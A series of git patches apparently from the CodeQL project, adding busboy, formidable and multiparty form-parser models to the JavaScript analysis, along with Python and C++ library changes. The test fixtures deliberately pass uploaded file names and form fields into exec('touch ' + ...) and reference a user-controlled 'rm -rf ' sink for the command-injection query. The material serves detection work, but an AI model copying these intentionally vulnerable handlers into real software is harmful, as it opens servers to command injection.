lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | child_process-test.js:85:37:85:54 | req.query.fileName | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | This command depends on $@. | child_process-test.js:85:37:85:54 | req.query.fileName | a user-provided value | | other.js:7:33:7:35 | cmd | other.js:5:25:5:31 | req.url | other.js:7:33:7:35 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | | other.js:8:28:8:30 | cmd | other.js:5:25:5:31 | req.url | other.js:8:28:8:30 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js new file mode 100644 index 00000000000..34054ee7fc3 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js @@ -0,0 +1,16 @@ +var express = require('express'); +var multer = require('multer'); +var upload = multer({ dest: 'uploads/' }); + +var app = express(); +var exec = require("child_process").exec; + +app.post('/profile', upload.single('avatar'), function (req, res, next) { + exec("touch " + req.file.originalname); // NOT OK +}); + +app.post('/photos/upload', upload.array('photos', 12), function (req, res, next) { + req.files.forEach(file => { + exec("touch " + file.originalname); // NOT OK + }) +}); From a03f4ed3cd100e81f5a4c5a7c75a4312ec62dd99 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 21:45:08 +0100 Subject: [PATCH 1150/1241] add remote flow source for `busboy` --- javascript/ql/src/javascript.qll | 3 +- .../javascript/frameworks/FormParsers.qll | 30 +++++++++++++++++++ .../CWE-078/CommandInjection.expected | 10 +++++++ .../Security/CWE-078/form-parsers.js | 12 ++++++++ 4 files changed, 54 insertions(+), 1 deletion(-) create mode 100644 javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll diff --git a/javascript/ql/src/javascript.qll b/javascript/ql/src/javascript.qll index d5c459c4d5c..dcdbcff9a81 100644 --- a/javascript/ql/src/javascript.qll +++ b/javascript/ql/src/javascript.qll @@ -85,10 +85,11 @@ import semmle.javascript.frameworks.Electron import semmle.javascript.frameworks.EventEmitter import semmle.javascript.frameworks.Files import semmle.javascript.frameworks.Firebase -import semmle.javascript.frameworks.Immutable +import semmle.javascript.frameworks.FormParsers import semmle.javascript.frameworks.jQuery import semmle.javascript.frameworks.JWT import semmle.javascript.frameworks.Handlebars +import semmle.javascript.frameworks.Immutable import semmle.javascript.frameworks.LazyCache import semmle.javascript.frameworks.LodashUnderscore import semmle.javascript.frameworks.Logging diff --git a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll new file mode 100644 index 00000000000..795aaa0802b --- /dev/null +++ b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll @@ -0,0 +1,30 @@ +/** + * Provides classes for modelling the server-side form/file parsing libraries. + */ + +import javascript + +/** + * Classes and predicate modelling the `Busboy` library. + */ +module Busboy { + /** + * A `Busboy` instance that has request data flowing into it. + */ + private DataFlow::NewNode busboy() { + result = DataFlow::moduleImport("busboy").getAnInstantiation() and + exists(MethodCallExpr pipe | + pipe.calls(any(HTTP::RequestExpr req), "pipe") and + result.flowsToExpr(pipe.getArgument(0)) + ) + } + + /** + * A source of remote flow from the `Busboy` library. + */ + class BusBoyRemoteFlow extends RemoteFlowSource { + BusBoyRemoteFlow() { this = busboy().getAMemberCall("on").getABoundCallbackParameter(1, _) } + + override string getSourceType() { result = "Busbuy parsed user value" } + } +} diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index ec874655c74..d245b61e0fc 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -100,6 +100,11 @@ nodes | form-parsers.js:14:10:14:37 | "touch ... nalname | | form-parsers.js:14:21:14:24 | file | | form-parsers.js:14:21:14:37 | file.originalname | +| form-parsers.js:24:48:24:55 | filename | +| form-parsers.js:24:48:24:55 | filename | +| form-parsers.js:25:10:25:28 | "touch " + filename | +| form-parsers.js:25:10:25:28 | "touch " + filename | +| form-parsers.js:25:21:25:28 | filename | | lib/subLib/index.js:7:32:7:35 | name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -244,6 +249,10 @@ edges | form-parsers.js:14:21:14:24 | file | form-parsers.js:14:21:14:37 | file.originalname | | form-parsers.js:14:21:14:37 | file.originalname | form-parsers.js:14:10:14:37 | "touch ... nalname | | form-parsers.js:14:21:14:37 | file.originalname | form-parsers.js:14:10:14:37 | "touch ... nalname | +| form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:21:25:28 | filename | +| form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:21:25:28 | filename | +| form-parsers.js:25:21:25:28 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | +| form-parsers.js:25:21:25:28 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | | lib/subLib/index.js:7:32:7:35 | name | lib/subLib/index.js:8:22:8:25 | name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -317,6 +326,7 @@ edges | execSeries.js:14:41:14:47 | command | execSeries.js:18:34:18:40 | req.url | execSeries.js:14:41:14:47 | command | This command depends on $@. | execSeries.js:18:34:18:40 | req.url | a user-provided value | | form-parsers.js:9:8:9:39 | "touch ... nalname | form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:8:9:39 | "touch ... nalname | This command depends on $@. | form-parsers.js:9:19:9:26 | req.file | a user-provided value | | form-parsers.js:14:10:14:37 | "touch ... nalname | form-parsers.js:13:3:13:11 | req.files | form-parsers.js:14:10:14:37 | "touch ... nalname | This command depends on $@. | form-parsers.js:13:3:13:11 | req.files | a user-provided value | +| form-parsers.js:25:10:25:28 | "touch " + filename | form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | This command depends on $@. | form-parsers.js:24:48:24:55 | filename | a user-provided value | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | child_process-test.js:85:37:85:54 | req.query.fileName | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | This command depends on $@. | child_process-test.js:85:37:85:54 | req.query.fileName | a user-provided value | | other.js:7:33:7:35 | cmd | other.js:5:25:5:31 | req.url | other.js:7:33:7:35 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | | other.js:8:28:8:30 | cmd | other.js:5:25:5:31 | req.url | other.js:8:28:8:30 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js index 34054ee7fc3..02e117f085a 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js @@ -14,3 +14,15 @@ app.post('/photos/upload', upload.array('photos', 12), function (req, res, next) exec("touch " + file.originalname); // NOT OK }) }); + + +var http = require('http'); +var Busboy = require('busboy'); + +http.createServer(function (req, res) { + var busboy = new Busboy({ headers: req.headers }); + busboy.on('file', function (fieldname, file, filename, encoding, mimetype) { + exec("touch " + filename); // NOT OK + }); + req.pipe(busboy); +}).listen(8000); From 61b4ffec3d818cf02d252a794a6df5d95ee81aaa Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 9 Feb 2021 10:16:25 +0100 Subject: [PATCH 1151/1241] add remote flow from the `Formidable` library --- .../javascript/frameworks/FormParsers.qll | 24 ++++++++++++++++++- .../CWE-078/CommandInjection.expected | 24 +++++++++++++++++++ .../Security/CWE-078/form-parsers.js | 15 ++++++++++++ 3 files changed, 62 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll index 795aaa0802b..c43eb57b8b4 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll @@ -7,7 +7,7 @@ import javascript /** * Classes and predicate modelling the `Busboy` library. */ -module Busboy { +private module Busboy { /** * A `Busboy` instance that has request data flowing into it. */ @@ -28,3 +28,25 @@ module Busboy { override string getSourceType() { result = "Busbuy parsed user value" } } } + +/** + * A source of remote flow from the `Formidable` library parsing a HTTP request. + */ +private class FormidableRemoteFlow extends RemoteFlowSource { + FormidableRemoteFlow() { + exists(DataFlow::CallNode parse, DataFlow::InvokeNode formidable | + formidable = DataFlow::moduleImport("formidable").getACall() + or + formidable = DataFlow::moduleMember("formidable", "formidable").getACall() + or + formidable = + DataFlow::moduleMember("formidable", ["IncomingForm", "Formidable"]).getAnInstantiation() + | + parse = formidable.getAMemberCall("parse") and + parse.getArgument(0).asExpr() instanceof HTTP::RequestExpr and + this = parse.getABoundCallbackParameter(1, any(int i | i > 0)) + ) + } + + override string getSourceType() { result = "Formidable parsed user value" } +} diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index d245b61e0fc..e0440f1d338 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -105,6 +105,18 @@ nodes | form-parsers.js:25:10:25:28 | "touch " + filename | | form-parsers.js:25:10:25:28 | "touch " + filename | | form-parsers.js:25:21:25:28 | filename | +| form-parsers.js:35:25:35:30 | fields | +| form-parsers.js:35:25:35:30 | fields | +| form-parsers.js:36:10:36:31 | "touch ... ds.name | +| form-parsers.js:36:10:36:31 | "touch ... ds.name | +| form-parsers.js:36:21:36:26 | fields | +| form-parsers.js:36:21:36:31 | fields.name | +| form-parsers.js:40:26:40:31 | fields | +| form-parsers.js:40:26:40:31 | fields | +| form-parsers.js:41:10:41:31 | "touch ... ds.name | +| form-parsers.js:41:10:41:31 | "touch ... ds.name | +| form-parsers.js:41:21:41:26 | fields | +| form-parsers.js:41:21:41:31 | fields.name | | lib/subLib/index.js:7:32:7:35 | name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -253,6 +265,16 @@ edges | form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:21:25:28 | filename | | form-parsers.js:25:21:25:28 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | | form-parsers.js:25:21:25:28 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | +| form-parsers.js:35:25:35:30 | fields | form-parsers.js:36:21:36:26 | fields | +| form-parsers.js:35:25:35:30 | fields | form-parsers.js:36:21:36:26 | fields | +| form-parsers.js:36:21:36:26 | fields | form-parsers.js:36:21:36:31 | fields.name | +| form-parsers.js:36:21:36:31 | fields.name | form-parsers.js:36:10:36:31 | "touch ... ds.name | +| form-parsers.js:36:21:36:31 | fields.name | form-parsers.js:36:10:36:31 | "touch ... ds.name | +| form-parsers.js:40:26:40:31 | fields | form-parsers.js:41:21:41:26 | fields | +| form-parsers.js:40:26:40:31 | fields | form-parsers.js:41:21:41:26 | fields | +| form-parsers.js:41:21:41:26 | fields | form-parsers.js:41:21:41:31 | fields.name | +| form-parsers.js:41:21:41:31 | fields.name | form-parsers.js:41:10:41:31 | "touch ... ds.name | +| form-parsers.js:41:21:41:31 | fields.name | form-parsers.js:41:10:41:31 | "touch ... ds.name | | lib/subLib/index.js:7:32:7:35 | name | lib/subLib/index.js:8:22:8:25 | name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -327,6 +349,8 @@ edges | form-parsers.js:9:8:9:39 | "touch ... nalname | form-parsers.js:9:19:9:26 | req.file | form-parsers.js:9:8:9:39 | "touch ... nalname | This command depends on $@. | form-parsers.js:9:19:9:26 | req.file | a user-provided value | | form-parsers.js:14:10:14:37 | "touch ... nalname | form-parsers.js:13:3:13:11 | req.files | form-parsers.js:14:10:14:37 | "touch ... nalname | This command depends on $@. | form-parsers.js:13:3:13:11 | req.files | a user-provided value | | form-parsers.js:25:10:25:28 | "touch " + filename | form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | This command depends on $@. | form-parsers.js:24:48:24:55 | filename | a user-provided value | +| form-parsers.js:36:10:36:31 | "touch ... ds.name | form-parsers.js:35:25:35:30 | fields | form-parsers.js:36:10:36:31 | "touch ... ds.name | This command depends on $@. | form-parsers.js:35:25:35:30 | fields | a user-provided value | +| form-parsers.js:41:10:41:31 | "touch ... ds.name | form-parsers.js:40:26:40:31 | fields | form-parsers.js:41:10:41:31 | "touch ... ds.name | This command depends on $@. | form-parsers.js:40:26:40:31 | fields | a user-provided value | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | child_process-test.js:85:37:85:54 | req.query.fileName | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | This command depends on $@. | child_process-test.js:85:37:85:54 | req.query.fileName | a user-provided value | | other.js:7:33:7:35 | cmd | other.js:5:25:5:31 | req.url | other.js:7:33:7:35 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | | other.js:8:28:8:30 | cmd | other.js:5:25:5:31 | req.url | other.js:8:28:8:30 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js index 02e117f085a..75c6cf910e3 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js @@ -26,3 +26,18 @@ http.createServer(function (req, res) { }); req.pipe(busboy); }).listen(8000); + + +const formidable = require('formidable'); +app.post('/api/upload', (req, res, next) => { + let form = formidable({ multiples: true }); + + form.parse(req, (err, fields, files) => { + exec("touch " + fields.name); // NOT OK + }); + + let form2 = new formidable.IncomingForm(); + form2.parse(req, (err, fields, files) => { + exec("touch " + fields.name); // NOT OK + }); +}); From 010d580f8e4b44abe579451c5fcd7e20e22e7ed5 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 9 Feb 2021 11:00:16 +0100 Subject: [PATCH 1152/1241] add model for `multiparty` --- .../javascript/frameworks/FormParsers.qll | 37 ++++++++++++++++++- .../CWE-078/CommandInjection.expected | 24 ++++++++++++ .../Security/CWE-078/form-parsers.js | 20 ++++++++++ 3 files changed, 79 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll index c43eb57b8b4..e8f9b76a40e 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/FormParsers.qll @@ -25,7 +25,7 @@ private module Busboy { class BusBoyRemoteFlow extends RemoteFlowSource { BusBoyRemoteFlow() { this = busboy().getAMemberCall("on").getABoundCallbackParameter(1, _) } - override string getSourceType() { result = "Busbuy parsed user value" } + override string getSourceType() { result = "parsed user value from Busbuy" } } } @@ -48,5 +48,38 @@ private class FormidableRemoteFlow extends RemoteFlowSource { ) } - override string getSourceType() { result = "Formidable parsed user value" } + override string getSourceType() { result = "parsed user value from Formidable" } +} + +/** + * Predicates and classes modelling the `multiparty` library. + */ +private module Multiparty { + /** + * Gets an instance of of `Multiparty` form parser that parses a HTTP request object. + * The `parse` call is the method call that receives the HTTP request object. + */ + private DataFlow::SourceNode form(DataFlow::MethodCallNode parse) { + result = DataFlow::moduleMember("multiparty", "Form").getAnInstantiation() and + parse = result.getAMethodCall("parse") and + parse.getArgument(0).asExpr() instanceof HTTP::RequestExpr + } + + /** + * A source of remote flow from the `Multiparty` library. + */ + class MultipartyRemoteFlow extends RemoteFlowSource { + MultipartyRemoteFlow() { + exists(DataFlow::MethodCallNode parse | exists(form(parse)) | + this = parse.getABoundCallbackParameter(1, any(int i | i > 0)) + ) + or + exists(DataFlow::MethodCallNode on | on = form(_).getAMethodCall("on") | + on.getArgument(0).mayHaveStringValue(["part", "file", "field"]) and + this = on.getABoundCallbackParameter(1, _) + ) + } + + override string getSourceType() { result = "parsed user value from Multiparty" } + } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index e0440f1d338..3878bbc2088 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -117,6 +117,18 @@ nodes | form-parsers.js:41:10:41:31 | "touch ... ds.name | | form-parsers.js:41:21:41:26 | fields | | form-parsers.js:41:21:41:31 | fields.name | +| form-parsers.js:52:34:52:39 | fields | +| form-parsers.js:52:34:52:39 | fields | +| form-parsers.js:53:10:53:31 | "touch ... ds.name | +| form-parsers.js:53:10:53:31 | "touch ... ds.name | +| form-parsers.js:53:21:53:26 | fields | +| form-parsers.js:53:21:53:31 | fields.name | +| form-parsers.js:58:30:58:33 | part | +| form-parsers.js:58:30:58:33 | part | +| form-parsers.js:59:10:59:33 | "touch ... ilename | +| form-parsers.js:59:10:59:33 | "touch ... ilename | +| form-parsers.js:59:21:59:24 | part | +| form-parsers.js:59:21:59:33 | part.filename | | lib/subLib/index.js:7:32:7:35 | name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -275,6 +287,16 @@ edges | form-parsers.js:41:21:41:26 | fields | form-parsers.js:41:21:41:31 | fields.name | | form-parsers.js:41:21:41:31 | fields.name | form-parsers.js:41:10:41:31 | "touch ... ds.name | | form-parsers.js:41:21:41:31 | fields.name | form-parsers.js:41:10:41:31 | "touch ... ds.name | +| form-parsers.js:52:34:52:39 | fields | form-parsers.js:53:21:53:26 | fields | +| form-parsers.js:52:34:52:39 | fields | form-parsers.js:53:21:53:26 | fields | +| form-parsers.js:53:21:53:26 | fields | form-parsers.js:53:21:53:31 | fields.name | +| form-parsers.js:53:21:53:31 | fields.name | form-parsers.js:53:10:53:31 | "touch ... ds.name | +| form-parsers.js:53:21:53:31 | fields.name | form-parsers.js:53:10:53:31 | "touch ... ds.name | +| form-parsers.js:58:30:58:33 | part | form-parsers.js:59:21:59:24 | part | +| form-parsers.js:58:30:58:33 | part | form-parsers.js:59:21:59:24 | part | +| form-parsers.js:59:21:59:24 | part | form-parsers.js:59:21:59:33 | part.filename | +| form-parsers.js:59:21:59:33 | part.filename | form-parsers.js:59:10:59:33 | "touch ... ilename | +| form-parsers.js:59:21:59:33 | part.filename | form-parsers.js:59:10:59:33 | "touch ... ilename | | lib/subLib/index.js:7:32:7:35 | name | lib/subLib/index.js:8:22:8:25 | name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | | lib/subLib/index.js:8:22:8:25 | name | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | @@ -351,6 +373,8 @@ edges | form-parsers.js:25:10:25:28 | "touch " + filename | form-parsers.js:24:48:24:55 | filename | form-parsers.js:25:10:25:28 | "touch " + filename | This command depends on $@. | form-parsers.js:24:48:24:55 | filename | a user-provided value | | form-parsers.js:36:10:36:31 | "touch ... ds.name | form-parsers.js:35:25:35:30 | fields | form-parsers.js:36:10:36:31 | "touch ... ds.name | This command depends on $@. | form-parsers.js:35:25:35:30 | fields | a user-provided value | | form-parsers.js:41:10:41:31 | "touch ... ds.name | form-parsers.js:40:26:40:31 | fields | form-parsers.js:41:10:41:31 | "touch ... ds.name | This command depends on $@. | form-parsers.js:40:26:40:31 | fields | a user-provided value | +| form-parsers.js:53:10:53:31 | "touch ... ds.name | form-parsers.js:52:34:52:39 | fields | form-parsers.js:53:10:53:31 | "touch ... ds.name | This command depends on $@. | form-parsers.js:52:34:52:39 | fields | a user-provided value | +| form-parsers.js:59:10:59:33 | "touch ... ilename | form-parsers.js:58:30:58:33 | part | form-parsers.js:59:10:59:33 | "touch ... ilename | This command depends on $@. | form-parsers.js:58:30:58:33 | part | a user-provided value | | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | child_process-test.js:85:37:85:54 | req.query.fileName | lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | This command depends on $@. | child_process-test.js:85:37:85:54 | req.query.fileName | a user-provided value | | other.js:7:33:7:35 | cmd | other.js:5:25:5:31 | req.url | other.js:7:33:7:35 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | | other.js:8:28:8:30 | cmd | other.js:5:25:5:31 | req.url | other.js:8:28:8:30 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js index 75c6cf910e3..4b1dabde441 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/form-parsers.js @@ -41,3 +41,23 @@ app.post('/api/upload', (req, res, next) => { exec("touch " + fields.name); // NOT OK }); }); + +var multiparty = require('multiparty'); +var http = require('http'); + +http.createServer(function (req, res) { + // parse a file upload + var form = new multiparty.Form(); + + form.parse(req, function (err, fields, files) { + exec("touch " + fields.name); // NOT OK + }); + + + var form2 = new multiparty.Form(); + form2.on('part', function (part) { // / file / field + exec("touch " + part.filename); // NOT OK + }); + form2.parse(req); + +}).listen(8080); From 044f80215e812797de0f6bce94e229b85f686b68 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 9 Feb 2021 11:20:07 +0100 Subject: [PATCH 1153/1241] add change note --- javascript/change-notes/2021-02-09-form-parsers.md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 javascript/change-notes/2021-02-09-form-parsers.md diff --git a/javascript/change-notes/2021-02-09-form-parsers.md b/javascript/change-notes/2021-02-09-form-parsers.md new file mode 100644 index 00000000000..4ad87cff32b --- /dev/null +++ b/javascript/change-notes/2021-02-09-form-parsers.md @@ -0,0 +1,6 @@ +lgtm,codescanning +* Server side form parsing libraries are now recognized as source of remote user input. + [multer](https://www.npmjs.com/package/multer) and + [busboy](https://www.npmjs.com/package/busboy) and + [formidable](https://www.npmjs.com/package/formidable) and + [multiparty](https://www.npmjs.com/package/formidable) \ No newline at end of file From 3ee0029cd87f4882fd9bf6afefc4c2e3e7bcde28 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 11 Feb 2021 13:33:42 +0100 Subject: [PATCH 1154/1241] Update javascript/change-notes/2021-02-08-xml-parser-taint.md Co-authored-by: Asger F --- javascript/change-notes/2021-02-08-xml-parser-taint.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/javascript/change-notes/2021-02-08-xml-parser-taint.md b/javascript/change-notes/2021-02-08-xml-parser-taint.md index ab59b4f3b92..2028be3e06f 100644 --- a/javascript/change-notes/2021-02-08-xml-parser-taint.md +++ b/javascript/change-notes/2021-02-08-xml-parser-taint.md @@ -1,8 +1,8 @@ lgtm,codescanning * The security queries now track taint through XML parsers. Affected packages are - [xml2js](https://www.npmjs.com/package/xml2js) and - [sax](https://www.npmjs.com/package/sax) and - [xml-js](https://www.npmjs.com/package/xml-js) and - [htmlparser2](https://www.npmjs.com/package/htmlparser2) and + [xml2js](https://www.npmjs.com/package/xml2js), + [sax](https://www.npmjs.com/package/sax), + [xml-js](https://www.npmjs.com/package/xml-js), + [htmlparser2](https://www.npmjs.com/package/htmlparser2), and [node-expat](https://www.npmjs.com/package/node-expat) From d14586de56ed4b82765a3cc5ce21d55161e8e845 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 11 Feb 2021 14:41:45 +0100 Subject: [PATCH 1155/1241] add two non ReDoS regular expressions to the ReDoS test suite Adds the regular expression from #5145 --- javascript/ql/test/query-tests/Performance/ReDoS/tst.js | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index 68549d11e3d..ef45c7f87bd 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -351,3 +351,7 @@ var bad79 = /(a*)*b/; var bad80 = /(a+)*b/; var bad81 = /(a*)+b/; var bad82 = /(a+)+b/; + +// GOOD +var good40 = /(a|b)+/; +var good41 = /(?:[\s;,"'<>(){}|[\]@=+*]|:(?![/\\]))+/; From ea30598a08899da1087517e244c3854697107d73 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 11 Feb 2021 16:07:39 +0100 Subject: [PATCH 1156/1241] Python: Split dotted names more efficiently --- python/ql/src/semmle/python/ApiGraphs.qll | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/python/ql/src/semmle/python/ApiGraphs.qll b/python/ql/src/semmle/python/ApiGraphs.qll index 7ad2a795c73..ef29996fd5b 100644 --- a/python/ql/src/semmle/python/ApiGraphs.qll +++ b/python/ql/src/semmle/python/ApiGraphs.qll @@ -319,12 +319,11 @@ module API { * For instance, `prefix_member("foo.bar", "baz", "foo.bar.baz")` would hold. */ private predicate prefix_member(TApiNode base, string member, TApiNode sub) { - exists(string base_str, string sub_str | - base = MkModuleImport(base_str) and + exists(string sub_str, string regexp | + regexp = "(.+)[.]([^.]+)" and + base = MkModuleImport(sub_str.regexpCapture(regexp, 1)) and + member = sub_str.regexpCapture(regexp, 2) and sub = MkModuleImport(sub_str) - | - base_str + "." + member = sub_str and - not member.matches("%.%") ) } From 4c66071f5f976b42b094b179d2b3da4b7ed638e3 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Thu, 11 Feb 2021 16:08:28 +0100 Subject: [PATCH 1157/1241] Python: Revert "Python: Support `moduleImport("dotted.name")` in API graphs" This reverts commit 2c4a477a4e2ba8eda5185feb2268154a7f5932a5. It's probably best _not_ to do this, as any `getMember` cycle in the API graph will lead to nontermination. --- python/ql/src/semmle/python/ApiGraphs.qll | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/ApiGraphs.qll b/python/ql/src/semmle/python/ApiGraphs.qll index ef29996fd5b..40a3bf4f756 100644 --- a/python/ql/src/semmle/python/ApiGraphs.qll +++ b/python/ql/src/semmle/python/ApiGraphs.qll @@ -209,14 +209,12 @@ module API { /** * Gets a node corresponding to an import of module `m`. + * + * Note: You should only use this predicate for top level modules. If you want nodes corresponding to a submodule, + * you should use `.getMember` on the parent module. For example, for nodes corresponding to the module `foo.bar`, + * use `moduleImport("foo").getMember("bar")`. */ - Node moduleImport(string m) { - result = Impl::MkModuleImport(m) - or - exists(string before_dot, string after_dot | before_dot + "." + after_dot = m | - result = moduleImport(before_dot).getMember(after_dot) - ) - } + Node moduleImport(string m) { result = Impl::MkModuleImport(m) } /** * Provides the actual implementation of API graphs, cached for performance. From 33b5802ff6fd4b9b5b7cf2173b2c99b515703dda Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 11 Feb 2021 12:42:39 +0000 Subject: [PATCH 1158/1241] C++: Update StdPair.qll (just for consistency). --- .../semmle/code/cpp/models/implementations/StdPair.qll | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll index 41867e71acc..1d8c4ea44d1 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdPair.qll @@ -7,8 +7,8 @@ import semmle.code.cpp.models.interfaces.Taint /** * An instantiation of `std::pair`. */ -class StdPairClass extends ClassTemplateInstantiation { - StdPairClass() { getTemplate().hasQualifiedName("std", "pair") } +class StdPair extends ClassTemplateInstantiation { + StdPair() { this.hasQualifiedName("std", "pair") } } /** @@ -18,9 +18,9 @@ class StdPairClass extends ClassTemplateInstantiation { */ class StdPairCopyishConstructor extends Constructor, TaintFunction { StdPairCopyishConstructor() { - this.getDeclaringType() instanceof StdPairClass and + this.getDeclaringType() instanceof StdPair and this.getNumberOfParameters() = 1 and - this.getParameter(0).getUnspecifiedType().(ReferenceType).getBaseType() instanceof StdPairClass + this.getParameter(0).getUnspecifiedType().(ReferenceType).getBaseType() instanceof StdPair } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { From 21b2999722c41f481d0265653e4569143b8ddb76 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 11 Feb 2021 13:23:59 +0000 Subject: [PATCH 1159/1241] C++: Update StdSet.qll. --- .../cpp/models/implementations/StdSet.qll | 27 ++++++++++--------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdSet.qll index 9fac9ae75f8..5c30afca572 100644 --- 